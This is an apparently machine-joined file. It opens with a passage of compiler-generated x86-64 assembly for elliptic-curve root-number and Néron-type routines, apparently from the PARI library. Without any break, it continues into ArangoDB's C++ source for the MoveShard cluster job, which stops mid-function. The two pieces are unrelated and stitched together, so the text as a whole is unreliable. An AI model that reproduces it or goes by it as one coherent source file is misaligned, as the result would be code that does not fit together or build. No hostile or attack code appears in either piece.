jmp LBB1_30 LBB1_17: movq 40(%rsp), %rcx cmpq $6, %rcx jl LBB1_20 LBB1_18: movq $-1, %rdi LBB1_19: movq %rdx, %rsi call _kross jmp LBB1_54 LBB1_28: movl 32(%rsp), %ecx addl $-5, %ecx shlq %cl, %rdx subl %edx, %esi andq $15, %rsi movl $1, %eax cmpq $7, %rsi je LBB1_54 cmpq $11, %rsi jmp LBB1_30 LBB1_31: movq %rdx, %rax sarq $63, %rax shrq $61, %rax addq %rdx, %rax andq $-8, %rax movq %rdx, %rcx subq %rax, %rcx movl $1, %eax cmpq $3, %rcx je LBB1_54 leaq (%rdx,%rsi,2), %rax movq %rax, %rcx sarq $63, %rcx shrq $61, %rcx addq %rax, %rcx andq $-8, %rcx subq %rcx, %rax cmpq $7, %rax LBB1_30: movl $1, %ecx movq $-1, %rax cmove %rcx, %rax LBB1_54: addq $88, %rsp popq %rbx popq %r14 ret LBB1_36: movq $-2, %rdi call _kross jmp LBB1_54 LBB1_57: movq $-2, %rdi jmp LBB1_22 LBB1_20: movq $-1, %rax cmpq $5, %rcx jne LBB1_54 jmp LBB1_21 .align 2, 0x90 LJTI1_0: .long L1_0_set_75 .long L1_0_set_73 .long L1_0_set_67 .long L1_0_set_61 .long L1_0_set_58 .long L1_0_set_14 .long L1_0_set_48 .long L1_0_set_46 .long L1_0_set_37 .long L1_0_set_14 .long L1_0_set_54 .long L1_0_set_8 .long L1_0_set_23 LJTI1_1: .long L1_1_set_50 .long L1_1_set_52 .long L1_1_set_53 .long L1_1_set_55 LJTI1_2: .long L1_2_set_39 .long L1_2_set_40 .long L1_2_set_42 .long L1_2_set_43 LJTI1_3: .long L1_3_set_25 .long L1_3_set_26 .long L1_3_set_28 .long L1_3_set_31 .long L1_3_set_33 LJTI1_4: .long L1_4_set_10 .long L1_4_set_13 .long L1_4_set_15 .long L1_4_set_17 .long L1_4_set_33 .align 4, 0x90 _ellrootno_3: pushq %r15 Ltmp18: pushq %r14 Ltmp19: pushq %r13 Ltmp20: pushq %r12 Ltmp21: pushq %rbx Ltmp22: subq $80, %rsp Ltmp23: Ltmp24: Ltmp25: Ltmp26: Ltmp27: Ltmp28: movq %rdi, %rbx leaq 48(%rsp), %rax movq %rax, 16(%rsp) leaq 40(%rsp), %rax movq %rax, 8(%rsp) leaq 56(%rsp), %rax movq %rax, (%rsp) leaq 32(%rsp), %rcx leaq 64(%rsp), %r8 leaq 24(%rsp), %r9 movl $3, %esi movl $81, %edx xorl %eax, %eax call _val_init movl $1, %eax cmpq $0, 40(%rsp) je LBB2_28 leaq 72(%rsp), %rdx movl $3, %esi movq %rbx, %rdi call _neron movq %rax, %r15 movq 56(%rsp), %rdi movl $3, %esi call _kross movq %rax, %r12 movq 72(%rsp), %rbx cmpq $4, %rbx jle LBB2_3 movq %r12, %rax jmp LBB2_28 LBB2_3: movq 56(%rsp), %r14 movq $2049638230412172402, %rcx movq %r14, %rax imulq %rcx movq %rdx, %r13 movq 64(%rsp), %rdi movl $3, %esi call _kross movq %rax, %rcx movl $1, %eax addq $4, %rbx cmpq $8, %rbx ja LBB2_27 movq %r13, %rdx shrq $63, %rdx addq %r13, %rdx leaq (%rdx,%rdx,8), %rdx subq %rdx, %r14 leaq LJTI2_0(%rip), %rdx movslq (%rdx,%rbx,4), %rsi addq %rdx, %rsi jmp *%rsi LBB2_16: decq %r15 cmpq $3, %r15 jbe LBB2_17 LBB2_27: movq $-1, %rax LBB2_28: addq $80, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 ret LBB2_5: movl $1, %eax leaq -1(%r15), %rdx cmpq $3, %rdx ja LBB2_15 leaq LJTI2_2(%rip), %rsi movslq (%rsi,%rdx,4), %rdx addq %rsi, %rdx jmp *%rdx LBB2_7: movl $1, %eax cmpq $4, %r14 je LBB2_28 cmpq $6, %r14 movl $1, %ecx movq $-1, %rax cmovg %rcx, %rax jmp LBB2_28 LBB2_10: cmpq $3, %r15 je LBB2_24 cmpq $2, %r15 jne LBB2_12 negq %rcx movq %rcx, %rax jmp LBB2_28 LBB2_17: leaq LJTI2_1(%rip), %rax movslq (%rax,%r15,4), %rcx addq %rax, %rcx movq %r12, %rax jmp *%rcx LBB2_18: cmpq $4, 32(%rsp) jne LBB2_22 movl $1, %eax cmpq $4, %r14 je LBB2_28 cmpq $8, %r14 jmp LBB2_21 LBB2_24: negq %r12 movq %r12, %rax jmp LBB2_28 LBB2_12: cmpq $1, %r15 jne LBB2_15 movq 48(%rsp), %rdi movl $3, %esi call _kross imulq %r12, %rax jmp LBB2_28 LBB2_15: cmpq $2, %r15 movl $1, %eax cmove %rax, %r12 movq %r12, %rax jmp LBB2_28 LBB2_9: negq %r12 imulq %r12, %rcx movq %rcx, %rax jmp LBB2_28 LBB2_25: movl $1, %eax cmpq $2, %r14 je LBB2_28 cmpq $7, %r14 jmp LBB2_21 LBB2_22: movl $1, %eax cmpq $1, %r14 je LBB2_28 cmpq $2, %r14 LBB2_21: movl $1, %ecx movq $-1, %rax cmove %rcx, %rax jmp LBB2_28 .align 2, 0x90 LJTI2_0: .long L2_0_set_16 .long L2_0_set_28 .long L2_0_set_15 .long L2_0_set_27 .long L2_0_set_27 .long L2_0_set_28 .long L2_0_set_5 .long L2_0_set_28 .long L2_0_set_10 LJTI2_1: .long L2_1_set_18 .long L2_1_set_24 .long L2_1_set_25 .long L2_1_set_28 LJTI2_2: .long L2_2_set_7 .long L2_2_set_9 .long L2_2_set_28 .long L2_2_set_24 .align 4, 0x90 _ellrootno_p: pushq %rbp Ltmp29: pushq %r15 Ltmp30: pushq %r14 Ltmp31: pushq %r13 Ltmp32: pushq %r12 Ltmp33: pushq %rbx Ltmp34: pushq %rax Ltmp35: Ltmp36: Ltmp37: Ltmp38: Ltmp39: Ltmp40: Ltmp41: movq %rsi, %rbp movq %rdi, %rbx movl $1, %eax testq %rdx, %rdx je LBB3_18 cmpq $1, %rdx jne LBB3_19 movq 88(%rbx), %rbx movq (%rbx), %r10 movq %r10, %r13 andq $16777215, %r13 movq _avma@GOTPCREL(%rip), %r15 movq (%r15), %r12 leaq 0(,%r13,8), %rax movq %r12, %r14 subq %rax, %r14 movq _bot@GOTPCREL(%rip), %rax movq %r12, %rcx subq (%rax), %rcx shrq $3, %rcx cmpq %r13, %rcx jae LBB3_4 movl $14, %edi xorl %eax, %eax movq %r14, (%rsp) movq %r10, %r14 call _pari_err movq %r14, %r10 movq (%rsp), %r14 LBB3_4: movq %r14, (%r15) movq $-16777217, %rax andq (%rbx), %rax movq %rax, (%r14) cmpq $2, %r13 jb LBB3_15 movq %r10, %rcx andq $16777215, %rcx movq %rcx, %rdi negq %rdi cmpq $-3, %rdi movq $-2, %rsi movq $-2, %rax cmovg %rdi, %rax addq %rcx, %rax cmpq $-1, %rax movq %r13, %rdx je LBB3_13 incq %rax cmpq $-3, %rdi cmovg %rdi, %rsi xorl %r9d, %r9d movq %rax, %r8 andq $-4, %r8 movq %r13, %rdx je LBB3_12 movq %rsi, %rdx notq %rdx leaq (%rbx,%rdx,8), %r11 leaq -8(%r12), %rdx xorl %r9d, %r9d cmpq %r11, %rdx ja LBB3_9 leaq -8(%rbx,%rcx,8), %rdx addq %rcx, %rsi notq %rsi leaq (%r12,%rsi,8), %rsi cmpq %rsi, %rdx movq %r13, %rdx jbe LBB3_12 LBB3_9: movq %r13, %rdx subq %r8, %rdx cmpq $-3, %rdi movq $-2, %rsi cmovg %rdi, %rsi leaq 1(%rsi,%rcx), %rsi andq $-4, %rsi movdqa LCPI3_0(%rip), %xmm0 .align 4, 0x90 LBB3_10: movd %rcx, %xmm1 pshufd $68, %xmm1, %xmm1 paddq %xmm0, %xmm1 movd %xmm1, %rdi movups -8(%rbx,%rdi,8), %xmm1 movups -24(%rbx,%rdi,8), %xmm2 subq %r13, %rdi movups %xmm1, -8(%r12,%rdi,8) movups %xmm2, -24(%r12,%rdi,8) addq $-4, %rcx addq $-4, %rsi jne LBB3_10 movq %r8, %r9 LBB3_12: cmpq %r9, %rax je LBB3_15 LBB3_13: notl %r10d movq $2305843009196916736, %rax orq %r10, %rax leaq (%r12,%rax,8), %rax .align 4, 0x90 LBB3_14: movq -8(%rbx,%rdx,8), %rcx movq %rcx, (%rax,%rdx,8) leaq -1(%rdx), %rdx cmpq $1, %rdx jg LBB3_14 LBB3_15: movl $1, %eax subq %r13, %rax movq (%r12,%rax,8), %rcx cmpq $1073741824, %rcx jb LBB3_17 movl $2147483648, %edx xorq %rdx, %rcx movq %rcx, (%r12,%rax,8) LBB3_17: movq %r14, %rdi movq %rbp, %rsi call _kronecker negq %rax LBB3_18: addq $8, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp ret LBB3_19: movq 104(%rbx), %r15 movq %r15, %rdi call _gequal0 testl %eax, %eax jne LBB3_23 movq %r15, %rdi movq %rbp, %rsi call _Q_pval testq %rax, %rax js LBB3_21 LBB3_23: movq 96(%rbx), %rdi movq %rbp, %rsi call _Z_pval movl $12, %edi movq %rax, %rsi call _ugcd movq %rax, %rcx movl $12, %eax xorl %edx, %edx divq %rcx movl $2, %edi cmpq $4, %rax je LBB3_25 andq $1, %rax leaq 1(%rax,%rax), %rdi LBB3_25: negq %rdi LBB3_22: movq %rbp, %rsi addq $8, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp jmp _krosi LBB3_21: movq $-1, %rdi jmp LBB3_22 # ---------------------- .section __TEXT,__literal16,16byte_literals .align 4 LCPI3_0: .quad -1 .quad -2 # ---------------------- .section __TEXT,__text,regular,pure_instructions .align 4, 0x90 .globl _ellrootno _ellrootno: pushq %rbp Ltmp42: pushq %r15 Ltmp43: pushq %r14 Ltmp44: pushq %r13 Ltmp45: pushq %r12 Ltmp46: pushq %rbx Ltmp47: pushq %rax Ltmp48: Ltmp49: Ltmp50: Ltmp51: Ltmp52: Ltmp53: Ltmp54: movq %rsi, %r12 movq %rdi, %rbx movq _avma@GOTPCREL(%rip), %r13 movq (%r13), %rbp call _checksmallell leaq (%rsp), %rsi movq %rbx, %rdi call _ell_to_small_red movq %rax, %r14 testq %r12, %r12 je LBB4_2 movq %r12, %rdi call _gequal1 testl %eax, %eax je LBB4_3 LBB4_2: movq (%rsp), %rsi movq %r14, %rdi call _ellrootno_global LBB4_17: movq %rax, %r15 LBB4_18: movq %rbp, (%r13) movq %r15, %rax addq $8, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp ret LBB4_3: movq $-33554432, %rax andq (%r12), %rax cmpq $33554432, %rax jne LBB4_5 movq 8(%r12), %rax testq %rax, %rax jns LBB4_6 LBB4_5: leaq L_.str(%rip), %rsi movl $11, %edi xorl %eax, %eax call _pari_err movq 8(%r12), %rax LBB4_6: andq $16777215, %rax cmpq $2, %rax je LBB4_10 cmpq $3, %rax ja LBB4_9 cmpq $4, 16(%r12) jb LBB4_10 LBB4_9: movq (%rsp), %rdi movq %r12, %rsi call _Z_pval movq %r14, %rdi movq %r12, %rsi movq %rax, %rdx call _ellrootno_p jmp LBB4_17 LBB4_10: movl $16777215, %eax andq 8(%r12), %rax movq $-1, %r15 cmpq $2, %rax je LBB4_18 cmpq $3, %rax jne LBB4_12 movq 16(%r12), %rax cmpq $3, %rax jne LBB4_14 movq %r14, %rdi call _ellrootno_3 jmp LBB4_17 LBB4_12: leaq L_.str2(%rip), %rsi movl $15, %edi xorl %eax, %eax call _pari_err jmp LBB4_18 LBB4_14: cmpq $2, %rax jne LBB4_18 movq %r14, %rdi call _ellrootno_2 jmp LBB4_17 .align 4, 0x90 _neron: pushq %rbp Ltmp55: pushq %r15 Ltmp56: pushq %r14 Ltmp57: pushq %r13 Ltmp58: pushq %r12 Ltmp59: pushq %rbx Ltmp60: pushq %rax Ltmp61: Ltmp62: Ltmp63: Ltmp64: Ltmp65: Ltmp66: Ltmp67: movq %rdx, %r14 movq %rsi, %r13 movq %rdi, %rbx movq _avma@GOTPCREL(%rip), %rax movq (%rax), %rax movq %rax, (%rsp) movq 16, %rcx movq 8(%rcx), %rax xorl %r15d, %r15d movq %rax, %rbp sarq $30, %rbp je LBB5_5 movq 16(%rcx), %r12 andq $16777212, %rax cmpq $3, %rax ja LBB5_3 testq %r12, %r12 jns LBB5_4 LBB5_3: leaq L_.str1(%rip), %rsi movl $15, %edi xorl %eax, %eax call _pari_err LBB5_4: movq %r12, %r15 negq %r15 testq %rbp, %rbp cmovg %r12, %r15 LBB5_5: movq %r15, (%r14) movq 80(%rbx), %rbp movq 88(%rbx), %r14 movq 96(%rbx), %r12 movq %rbp, %rdi call _gequal0 movl $12, %ebx testl %eax, %eax jne LBB5_7 movq %rbp, %rdi movq %r13, %rsi call _Z_lval movq %rax, %rbx LBB5_7: movq %r14, %rdi call _gequal0 movl $12, %ebp testl %eax, %eax jne LBB5_9 movq %r14, %rdi movq %r13, %rsi call _Z_lval movq %rax, %rbp LBB5_9: movq %r12, %rdi movq %r13, %rsi call _Z_lval movq %rax, %rcx movq _avma@GOTPCREL(%rip), %rax movq (%rsp), %rdx movq %rdx, (%rax) cmpq $2, %r13 jne LBB5_40 movl $1, %eax cmpq $4, %r15 jg LBB5_54 addq $7, %r15 cmpq $11, %r15 ja LBB5_35 leaq LJTI5_0(%rip), %rax movslq (%rax,%r15,4), %rdx addq %rax, %rdx jmp *%rdx LBB5_39: movl $2, %eax cmpq $12, %rcx jne LBB5_35 jmp LBB5_54 LBB5_40: movq %r15, %rdx negq %rdx cmovl %r15, %rdx movl $1, %eax cmpq $4, %rdx jg LBB5_54 addq $4, %r15 cmpq $7, %r15 ja LBB5_51 movl $65, %eax btq %r15, %rax jb LBB5_47 movl $130, %eax btq %r15, %rax jae LBB5_44 addq %rbp, %rbp addq $3, %rcx cmpq %rcx, %rbp jmp LBB5_14 LBB5_47: movq $3074457345618258603, %rdx movq %rcx, %rax imulq %rdx movq %rdx, %rax shrq $63, %rax addq %rdx, %rax addq %rax, %rax leaq (%rax,%rax,2), %rax subq %rax, %rcx movl $3, %eax cmpq $4, %rcx je LBB5_54 cmpq $5, %rcx jne LBB5_50 movl $4, %eax jmp LBB5_54 LBB5_44: movl $40, %eax btq %r15, %rax jae LBB5_51 andq $1, %rbx incq %rbx movq %rbx, %rax jmp LBB5_54 LBB5_51: movq $3074457345618258603, %rdx movq %rcx, %rax imulq %rdx movq %rdx, %rax shrq $63, %rax addq %rdx, %rax addq %rax, %rax leaq (%rax,%rax,2), %rax movq %rcx, %rdx subq %rax, %rdx cmpq $1, %rdx sete %dl cmpq %rax, %rcx movzbl %dl, %eax leaq 1(%rax,%rax), %rcx movl $2, %eax cmovne %rcx, %rax jmp LBB5_54 LBB5_36: movl $2, %eax cmpq $12, %rcx je LBB5_54 cmpq $13, %rcx jne LBB5_35 movl $3, %eax jmp LBB5_54 LBB5_34: movl $2, %eax cmpq $7, %rbp je LBB5_54 LBB5_35: cmpq $6, %rbx sete %al jmp LBB5_15 LBB5_33: cmpq $7, %rbp sete %al jmp LBB5_15 LBB5_52: movq %rcx, %rdx addq $-12, %rdx movl $1, %eax cmpq $4, %rdx jae LBB5_54 leaq l_switch.table(%rip), %rax movq -96(%rax,%rcx,8), %rax jmp LBB5_54 LBB5_32: cmpq $14, %rcx sete %al movzbl %al, %eax leaq 1(%rax,%rax), %rdx cmpq $12, %rcx movl $2, %eax cmovne %rdx, %rax jmp LBB5_54 LBB5_28: movl $2, %eax cmpq $9, %rcx je LBB5_54 cmpq $10, %rcx jne LBB5_31 movl $4, %eax jmp LBB5_54 LBB5_13: testq %rbp, %rbp jmp LBB5_14 LBB5_16: movl $1, %eax cmpq $4, %rcx je LBB5_54 cmpq $7, %rcx jne LBB5_19 movl $3, %eax jmp LBB5_54 LBB5_20: movl $3, %eax cmpq $6, %rcx je LBB5_54 cmpq $9, %rcx jne LBB5_22 movl $5, %eax jmp LBB5_54 LBB5_27: cmpq $4, %rbx LBB5_14: setg %al LBB5_15: movzbl %al, %eax incq %rax LBB5_54: addq $8, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp ret LBB5_50: movq $6148914691236517206, %rcx movq %rbp, %rax imulq %rcx movq %rdx, %rax shrq $63, %rax addq %rdx, %rax leaq (%rax,%rax,2), %rax subq %rax, %rbp cmpq $1, %rbp sete %al jmp LBB5_15 LBB5_22: cmpq $8, %rcx jne LBB5_25 movl $4, %eax jmp LBB5_54 LBB5_31: cmpq $4, %rbx setg %al movzbl %al, %eax leaq 1(%rax,%rax), %rax jmp LBB5_54 LBB5_19: cmpq $4, %rbx setne %al movzbl %al, %eax leaq 2(%rax,%rax), %rax jmp LBB5_54 LBB5_25: cmpq $5, %rbx sete %al jmp LBB5_15 .align 2, 0x90 LJTI5_0: .long L5_0_set_39 .long L5_0_set_36 .long L5_0_set_34 .long L5_0_set_33 .long L5_0_set_52 .long L5_0_set_32 .long L5_0_set_28 .long L5_0_set_35 .long L5_0_set_13 .long L5_0_set_16 .long L5_0_set_20 .long L5_0_set_27 # ---------------------- .section __TEXT,__cstring,cstring_literals L_.str: .asciz "ellrootno" L_.str1: .asciz "t_INT-->long assignment" L_.str2: .asciz "t_INT-->ulong assignment" # ---------------------- .section __TEXT,__const .align 4 l_switch.table: .quad 2 .quad 1 .quad 3 .quad 4 # ---------------------- .set L1_0_set_75,LBB1_75-LJTI1_0 .set L1_0_set_73,LBB1_73-LJTI1_0 .set L1_0_set_67,LBB1_67-LJTI1_0 .set L1_0_set_61,LBB1_61-LJTI1_0 .set L1_0_set_58,LBB1_58-LJTI1_0 .set L1_0_set_14,LBB1_14-LJTI1_0 .set L1_0_set_48,LBB1_48-LJTI1_0 .set L1_0_set_46,LBB1_46-LJTI1_0 .set L1_0_set_37,LBB1_37-LJTI1_0 .set L1_0_set_54,LBB1_54-LJTI1_0 .set L1_0_set_8,LBB1_8-LJTI1_0 .set L1_0_set_23,LBB1_23-LJTI1_0 .set L1_1_set_50,LBB1_50-LJTI1_1 .set L1_1_set_52,LBB1_52-LJTI1_1 .set L1_1_set_53,LBB1_53-LJTI1_1 .set L1_1_set_55,LBB1_55-LJTI1_1 .set L1_2_set_39,LBB1_39-LJTI1_2 .set L1_2_set_40,LBB1_40-LJTI1_2 .set L1_2_set_42,LBB1_42-LJTI1_2 .set L1_2_set_43,LBB1_43-LJTI1_2 .set L1_3_set_25,LBB1_25-LJTI1_3 .set L1_3_set_26,LBB1_26-LJTI1_3 .set L1_3_set_28,LBB1_28-LJTI1_3 .set L1_3_set_31,LBB1_31-LJTI1_3 .set L1_3_set_33,LBB1_33-LJTI1_3 .set L1_4_set_10,LBB1_10-LJTI1_4 .set L1_4_set_13,LBB1_13-LJTI1_4 .set L1_4_set_15,LBB1_15-LJTI1_4 .set L1_4_set_17,LBB1_17-LJTI1_4 .set L1_4_set_33,LBB1_33-LJTI1_4 .set L2_0_set_16,LBB2_16-LJTI2_0 .set L2_0_set_28,LBB2_28-LJTI2_0 .set L2_0_set_15,LBB2_15-LJTI2_0 .set L2_0_set_27,LBB2_27-LJTI2_0 .set L2_0_set_5,LBB2_5-LJTI2_0 .set L2_0_set_10,LBB2_10-LJTI2_0 .set L2_1_set_18,LBB2_18-LJTI2_1 .set L2_1_set_24,LBB2_24-LJTI2_1 .set L2_1_set_25,LBB2_25-LJTI2_1 .set L2_1_set_28,LBB2_28-LJTI2_1 .set L2_2_set_7,LBB2_7-LJTI2_2 .set L2_2_set_9,LBB2_9-LJTI2_2 .set L2_2_set_28,LBB2_28-LJTI2_2 .set L2_2_set_24,LBB2_24-LJTI2_2 .set L5_0_set_39,LBB5_39-LJTI5_0 .set L5_0_set_36,LBB5_36-LJTI5_0 .set L5_0_set_34,LBB5_34-LJTI5_0 .set L5_0_set_33,LBB5_33-LJTI5_0 .set L5_0_set_52,LBB5_52-LJTI5_0 .set L5_0_set_32,LBB5_32-LJTI5_0 .set L5_0_set_28,LBB5_28-LJTI5_0 .set L5_0_set_35,LBB5_35-LJTI5_0 .set L5_0_set_13,LBB5_13-LJTI5_0 .set L5_0_set_16,LBB5_16-LJTI5_0 .set L5_0_set_20,LBB5_20-LJTI5_0 .set L5_0_set_27,LBB5_27-LJTI5_0 .subsections_via_symbols
//////////////////////////////////////////////////////////////////////////////// /// DISCLAIMER /// /// Copyright 2014-2018 ArangoDB GmbH, Cologne, Germany /// Copyright 2004-2014 triAGENS GmbH, Cologne, Germany /// /// Licensed under the Apache License, Version 2.0 (the "License"); /// you may not use this file except in compliance with the License. /// You may obtain a copy of the License at /// /// http://www.apache.org/licenses/LICENSE-2.0 /// /// Unless required by applicable law or agreed to in writing, software /// distributed under the License is distributed on an "AS IS" BASIS, /// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. /// See the License for the specific language governing permissions and /// limitations under the License. /// /// Copyright holder is ArangoDB GmbH, Cologne, Germany /// /// @author Kaveh Vahedipour //////////////////////////////////////////////////////////////////////////////// #include "MoveShard.h" #include "Agency/AgentInterface.h" #include "Agency/Job.h" #include "Cluster/ClusterHelpers.h" using namespace arangodb; using namespace arangodb::consensus; MoveShard::MoveShard(Node const& snapshot, AgentInterface* agent, std::string const& jobId, std::string const& creator, std::string const& database, std::string const& collection, std::string const& shard, std::string const& from, std::string const& to, bool isLeader, bool remainsFollower) : Job(NOTFOUND, snapshot, agent, jobId, creator), _database(database), _collection(collection), _shard(shard), _from(id(from)), _to(id(to)), _isLeader(isLeader), // will be initialized properly when information known _remainsFollower(remainsFollower) {} MoveShard::MoveShard(Node const& snapshot, AgentInterface* agent, std::string const& jobId, std::string const& creator, std::string const& database, std::string const& collection, std::string const& shard, std::string const& from, std::string const& to, bool isLeader) : Job(NOTFOUND, snapshot, agent, jobId, creator), _database(database), _collection(collection), _shard(shard), _from(id(from)), _to(id(to)), _isLeader(isLeader), // will be initialized properly when information known _remainsFollower(isLeader) {} MoveShard::MoveShard(Node const& snapshot, AgentInterface* agent, JOB_STATUS status, std::string const& jobId) : Job(status, snapshot, agent, jobId) { // Get job details from agency: std::string path = pos[status] + _jobId + "/"; auto tmp_database = _snapshot.hasAsString(path + "database"); auto tmp_collection = _snapshot.hasAsString(path + "collection"); auto tmp_from = _snapshot.hasAsString(path + "fromServer"); auto tmp_to = _snapshot.hasAsString(path + "toServer"); auto tmp_shard = _snapshot.hasAsString(path + "shard"); auto tmp_isLeader = _snapshot.hasAsSlice(path + "isLeader"); auto tmp_remainsFollower = _snapshot.hasAsSlice(path + "remainsFollower"); auto tmp_creator = _snapshot.hasAsString(path + "creator"); if (tmp_database.second && tmp_collection.second && tmp_from.second && tmp_to.second && tmp_shard.second && tmp_creator.second && tmp_isLeader.second) { _database = tmp_database.first; _collection = tmp_collection.first; _from = tmp_from.first; _to = tmp_to.first; _shard = tmp_shard.first; _isLeader = tmp_isLeader.first.isTrue(); _remainsFollower = tmp_remainsFollower.second ? tmp_remainsFollower.first.isTrue() : _isLeader; _creator = tmp_creator.first; } else { std::stringstream err; err << "Failed to find job " << _jobId << " in agency"; LOG_TOPIC(ERR, Logger::SUPERVISION) << err.str(); finish("", _shard, false, err.str()); _status = FAILED; } } MoveShard::~MoveShard() {} void MoveShard::run() { runHelper(_to, _shard); } bool MoveShard::create(std::shared_ptr<VPackBuilder> envelope) { LOG_TOPIC(DEBUG, Logger::SUPERVISION) << "Todo: Move shard " + _shard + " from " + _from + " to " << _to; bool selfCreate = (envelope == nullptr); // Do we create ourselves? if (selfCreate) { _jb = std::make_shared<Builder>(); } else { _jb = envelope; } std::string now(timepointToString(std::chrono::system_clock::now())); #ifdef ARANGODB_ENABLE_MAINTAINER_MODE // DBservers std::string planPath = planColPrefix + _database + "/" + _collection + "/shards/" + _shard; Slice plan = _snapshot.hasAsSlice(planPath).first; TRI_ASSERT(plan.isArray()); TRI_ASSERT(plan[0].isString()); #endif if (selfCreate) { _jb->openArray(); _jb->openObject(); } _jb->add(VPackValue(_from == _to ? failedPrefix + _jobId : toDoPrefix + _jobId)); { VPackObjectBuilder guard2(_jb.get()); if (_from == _to) { _jb->add("timeFinished", VPackValue(now)); _jb->add("result", VPackValue( "Source and destination of moveShard must be different")); } _jb->add("creator", VPackValue(_creator)); _jb->add("type", VPackValue("moveShard")); _jb->add("database", VPackValue(_database)); _jb->add("collection", VPackValue(_collection)); _jb->add("shard", VPackValue(_shard)); _jb->add("fromServer", VPackValue(_from)); _jb->add("toServer", VPackValue(_to)); _jb->add("isLeader", VPackValue(_isLeader)); _jb->add("remainsFollower", VPackValue(_remainsFollower)); _jb->add("jobId", VPackValue(_jobId)); _jb->add("timeCreated", VPackValue(now)); } _status = TODO; if (!selfCreate) { return true; } _jb->close(); // transaction object _jb->close(); // close array write_ret_t res = singleWriteTransaction(_agent, *_jb); if (res.accepted && res.indices.size() == 1 && res.indices[0]) { return true; } _status = NOTFOUND; LOG_TOPIC(INFO, Logger::SUPERVISION) << "Failed to insert job " + _jobId; return false; } bool MoveShard::start() { // If anything throws here, the run() method catches it and finishes // the job. // Check if the fromServer exists: if (!_snapshot.has(plannedServers + "/" + _from)) { finish("", "", false, "fromServer does not exist as DBServer in Plan"); return false; } // Check if the toServer exists: if (!_snapshot.has(plannedServers + "/" + _to)) { finish("", "", false, "toServer does not exist as DBServer in Plan"); return false; } // Are we distributeShardsLiking other shard? Then fail miserably. if (!_snapshot.has(planColPrefix + _database + "/" + _collection)) { finish("", "", true, "collection has been dropped in the meantime"); return false; } auto collection = _snapshot.hasAsNode(planColPrefix + _database + "/" + _collection); if (collection.second && collection.first.has("distributeShardsLike")) { finish("", "", false, "collection must not have 'distributeShardsLike' attribute"); return false; } // Check that the shard is not locked: if (_snapshot.has(blockedShardsPrefix + _shard)) { LOG_TOPIC(DEBUG, Logger::SUPERVISION) << "shard " << _shard << " is currently locked, not starting MoveShard job " << _jobId; return false; } // Check that the toServer is not locked: if (_snapshot.has(blockedServersPrefix + _to)) { LOG_TOPIC(DEBUG, Logger::SUPERVISION) << "server " << _to << " is currently" " locked, not starting MoveShard job " << _jobId; return false; } // Check that the toServer is in state "GOOD": std::string health = checkServerHealth(_snapshot, _to); if (health != "GOOD") { LOG_TOPIC(DEBUG, Logger::SUPERVISION) << "server " << _to << " is currently " << health << ", not starting MoveShard job " << _jobId; return false; } // Check that _to is not in `Target/CleanedServers`: VPackBuilder cleanedServersBuilder; auto cleanedServersNode = _snapshot.hasAsBuilder(cleanedPrefix, cleanedServersBuilder); if (!cleanedServersNode.second) { // ignore this check cleanedServersBuilder.clear(); { VPackArrayBuilder guard(&cleanedServersBuilder); } } VPackSlice cleanedServers = cleanedServersBuilder.slice(); if (cleanedServers.isArray()) { for (auto const& x : VPackArrayIterator(cleanedServers)) { if (x.isString() && x.copyString() == _to) { finish("", "", false, "toServer must not be in `Target/CleanedServers`"); return false; } } } // Check that _to is not in `Target/FailedServers`: VPackBuilder failedServersBuilder; auto failedServersNode = _snapshot.hasAsBuilder(failedServersPrefix, failedServersBuilder); if (!failedServersNode.second) { // ignore this check failedServersBuilder.clear(); { VPackObjectBuilder guard(&failedServersBuilder); } } VPackSlice failedServers = failedServersBuilder.slice(); if (failedServers.isObject()) { Slice found = failedServers.get(_to); if (!found.isNone()) { finish("", "", false, "toServer must not be in `Target/FailedServers`"); return false; } } // Look at Plan: std::string planPath = planColPrefix + _database + "/" + _collection + "/shards/" + _shard; Slice planned = _snapshot.hasAsSlice(planPath).first; TRI_ASSERT(planned.isArray()); int found = -1; int count = 0; for (auto const& srv : VPackArrayIterator(planned)) { TRI_ASSERT(srv.isString()); if (srv.copyString() == _to) { finish("", "", false, "toServer must not yet be planned for shard"); return false; } if (srv.copyString() == _from) { found = count; } ++count; } if ((_isLeader && found != 0) || (!_isLeader && found < 1)) { if (_isLeader) { finish("", "", false, "fromServer must be the leader in plan for shard"); } else { finish("", "", false, "fromServer must be a follower in plan for shard"); } return false; } if (!_isLeader && _remainsFollower) { finish("", "", false, "remainsFollower is invalid without isLeader"); return false; } // Compute group to move shards together: std::vector<Job::shard_t> shardsLikeMe = clones(_snapshot, _database, _collection, _shard); // Copy todo to pending Builder todo, pending; // Get todo entry { VPackArrayBuilder guard(&todo); // When create() was done with the current snapshot, then the job object // will not be in the snapshot under ToDo, but in this case we find it // in _jb: if (_jb == nullptr) { auto tmp_todo = _snapshot.hasAsBuilder(toDoPrefix + _jobId, todo); if (!tmp_todo.second) { // Just in case, this is never going to happen, since we will only // call the start() method if the job is already in ToDo. LOG_TOPIC(INFO, Logger::SUPERVISION) << "Failed to get key " + toDoPrefix + _jobId + " from agency snapshot"; return false; } } else { try { todo.add(_jb->slice()[0].get(toDoPrefix + _jobId)); } catch (std::exception const& e) { // Just in case, this is never going to happen, since when _jb is // set, then the current job is stored under ToDo. LOG_TOPIC(WARN, Logger::SUPERVISION) << e.what() << ": " << __FILE__ << ":" << __LINE__; return false; } } } // Enter pending, remove todo, block toserver { VPackArrayBuilder listOfTransactions(&pending); { VPackObjectBuilder objectForMutation(&pending); addPutJobIntoSomewhere(pending, "Pending", todo.slice()[0]); addRemoveJobFromSomewhere(pending, "ToDo", _jobId); addBlockShard(pending, _shard, _jobId); addBlockServer(pending, _to, _jobId); // --- Plan changes doForAllShards(_snapshot, _database, shardsLikeMe, [this, &pending](Slice plan, Slice current, std::string& planPath) { pending.add(VPackValue(planPath)); { VPackArrayBuilder serverList(&pending); if (_isLeader) { TRI_ASSERT(plan[0].copyString() != _to); pending.add(plan[0]); pending.add(VPackValue(_to)); for (size_t i = 1; i < plan.length(); ++i) { pending.add(plan[i]); TRI_ASSERT(plan[i].copyString() != _to); } } else { for (auto const& srv : VPackArrayIterator(plan)) { pending.add(srv); TRI_ASSERT(srv.copyString() != _to); } 